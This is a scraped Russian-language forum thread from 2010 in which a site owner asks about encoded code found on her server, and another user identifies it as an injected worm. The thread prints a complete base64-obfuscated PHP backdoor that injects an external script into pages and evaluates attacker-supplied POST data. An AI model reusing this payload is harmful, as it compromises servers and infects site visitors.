http://softtime.ru/forumhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=71991#post423711спасибо.закодированная ссылка?Fri, 19 Feb 2010 08:51:03 +0300tavila2009http://softtime.ru/forum/read.php?id_forum=1&id_theme=71991#post423704А вот так посмотрите: echo base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnc2M5d2E...... и увидите внедрение на страницу IFRAME, а если все досконально проверить, то и с...закодированная ссылка?Fri, 19 Feb 2010 06:10:33 +0300sim5http://softtime.ru/forum/read.php?id_forum=1&id_theme=71991#post423703А вот это как расшифровывается? "?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnc2M5d2EnKSl7ZnVuY3Rpb24gc2M5d2EoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aFxzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMjFrY2k1dGFXOXpaWEoyWlhJdVkyOXRMMmx0WVdkbGN5OW5hV1pwYldjdWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBzYzl3YTIoJGEsJGIsJGMsJGQpe2dsb2JhbCRzYzl3YTE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHNjOXdhMSkpY2FsbF91c2VyX2Z1bmMoJHNjOXdhMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nc2M5d2EnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdzYzl3YScpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRzYzl3YWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3NjOXdhMicpKSE9J3NjOXdhMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?"закодированная ссылка?Fri, 19 Feb 2010 05:50:51 +0300tavila2009http://softtime.ru/forum/read.php?id_forum=1&id_theme=71991#post423696Это не ссылка, это: if(isset($_POST))eval(base64_decode($_POST));else die('404 Not Found'); Пороверяйте все, как вам забросили червей.закодированная ссылка?Fri, 19 Feb 2010 04:23:47 +0300sim5http://softtime.ru/forum/read.php?id_forum=1&id_theme=71991#post423695Нашла в скриптах на сервере вот такое . Кто скажет что это означает. Наверно это закодированная ссылка на какой-то сайт....закодированная ссылка?Fri, 19 Feb 2010 04:10:53 +0300tavila2009